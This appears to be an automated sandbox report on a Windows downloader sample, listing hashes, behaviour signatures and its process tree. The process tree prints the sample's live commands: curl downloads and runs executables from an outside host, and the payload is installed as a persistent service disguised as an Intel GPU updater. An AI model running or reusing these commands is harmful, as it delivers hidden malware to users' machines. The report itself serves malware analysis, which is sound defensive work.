12eafe77459f406a8187cb7675249dfed1b214f47eff60d1291b42ed00c576e4

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
01-12-2024 20:45

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General

Target

ExploitDownloader.exe
Size

27KB
MD5

d363863c21f0d453eaaa438f00027554
SHA1

7ba078266d3151068b500b9ce8cc4e579ad84a4a
SHA256

12eafe77459f406a8187cb7675249dfed1b214f47eff60d1291b42ed00c576e4
SHA512

1ff53e7a3f6eee3b99111a79bded3106fb809bd494b23839a5790a78f8b6baedbfaa707a16ceda481f93edde4d9b8bae06f12c444e16f7def5ce06f297f2bc37
SSDEEP

384:SsuozKPc0cDxRHXLRq418p/d6tVqQ4m9lHM1UopuJE5UjovhObRZUbjMUWDBVhIB:TLLIXTEs1Urjov4RScUWD7hq7W2e0W0

Score

4^/10

discovery

Malware Config

Signatures

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\IntelGpuUpdater.exe	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExploitDownloader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2804 wrote to memory of 2892	2804	ExploitDownloader.exe	31
PID 2804 wrote to memory of 2892	2804	ExploitDownloader.exe	31
PID 2804 wrote to memory of 2892	2804	ExploitDownloader.exe	31
PID 2804 wrote to memory of 2892	2804	ExploitDownloader.exe	31
PID 2892 wrote to memory of 2808	2892	cmd.exe	32
PID 2892 wrote to memory of 2808	2892	cmd.exe	32
PID 2892 wrote to memory of 2808	2892	cmd.exe	32
PID 2892 wrote to memory of 2808	2892	cmd.exe	32
PID 2804 wrote to memory of 2768	2804	ExploitDownloader.exe	33
PID 2804 wrote to memory of 2768	2804	ExploitDownloader.exe	33
PID 2804 wrote to memory of 2768	2804	ExploitDownloader.exe	33
PID 2804 wrote to memory of 2768	2804	ExploitDownloader.exe	33
PID 2768 wrote to memory of 2740	2768	cmd.exe	34
PID 2768 wrote to memory of 2740	2768	cmd.exe	34
PID 2768 wrote to memory of 2740	2768	cmd.exe	34
PID 2768 wrote to memory of 2740	2768	cmd.exe	34
PID 2804 wrote to memory of 2744	2804	ExploitDownloader.exe	35
PID 2804 wrote to memory of 2744	2804	ExploitDownloader.exe	35
PID 2804 wrote to memory of 2744	2804	ExploitDownloader.exe	35
PID 2804 wrote to memory of 2744	2804	ExploitDownloader.exe	35
PID 2744 wrote to memory of 2616	2744	cmd.exe	36
PID 2744 wrote to memory of 2616	2744	cmd.exe	36
PID 2744 wrote to memory of 2616	2744	cmd.exe	36
PID 2744 wrote to memory of 2616	2744	cmd.exe	36
PID 2804 wrote to memory of 2484	2804	ExploitDownloader.exe	37
PID 2804 wrote to memory of 2484	2804	ExploitDownloader.exe	37
PID 2804 wrote to memory of 2484	2804	ExploitDownloader.exe	37
PID 2804 wrote to memory of 2484	2804	ExploitDownloader.exe	37

C:\Users\Admin\AppData\Local\Temp\ExploitDownloader.exe
"C:\Users\Admin\AppData\Local\Temp\ExploitDownloader.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c "cmd /c sc delete IntelGpuUpdater && cmd /c sc stop IntelGpuUpdater && "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "cmd /c sc delete IntelGpuUpdater && cmd /c sc stop IntelGpuUpdater && "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2808
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c "curl https://dontuseme.ct8.pl/test.exe > %localappdata%\test.exe && start %localappdata%\test.exe && timeout 5 && del %localappdata%\test.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2768
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "curl https://dontuseme.ct8.pl/test.exe > C:\Users\Admin\AppData\Local\test.exe && start C:\Users\Admin\AppData\Local\test.exe && timeout 5 && del C:\Users\Admin\AppData\Local\test.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2740
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c "del C:\Windows\IntelGpuUpdater.exe && del C:\Windows\IntelGpuUpdaterHelper.exe && curl https://dontuseme.ct8.pl/test.exe > C:\Windows\IntelGpuUpdater.exe && curl https://dontuseme.ct8.pl/nssm.exe > C:\Windows\IntelGpuUpdaterHelper.exe && C:\Windows\IntelGpuUpdaterHelper.exe install IntelGpuUpdater C:\Windows\IntelGpuUpdater.exe && cmd /c sc start IntelGpuUpdater && cmd /c sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/5000"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "del C:\Windows\IntelGpuUpdater.exe && del C:\Windows\IntelGpuUpdaterHelper.exe && curl https://dontuseme.ct8.pl/test.exe > C:\Windows\IntelGpuUpdater.exe && curl https://dontuseme.ct8.pl/nssm.exe > C:\Windows\IntelGpuUpdaterHelper.exe && C:\Windows\IntelGpuUpdaterHelper.exe install IntelGpuUpdater C:\Windows\IntelGpuUpdater.exe && cmd /c sc start IntelGpuUpdater && cmd /c sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/5000"
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2616
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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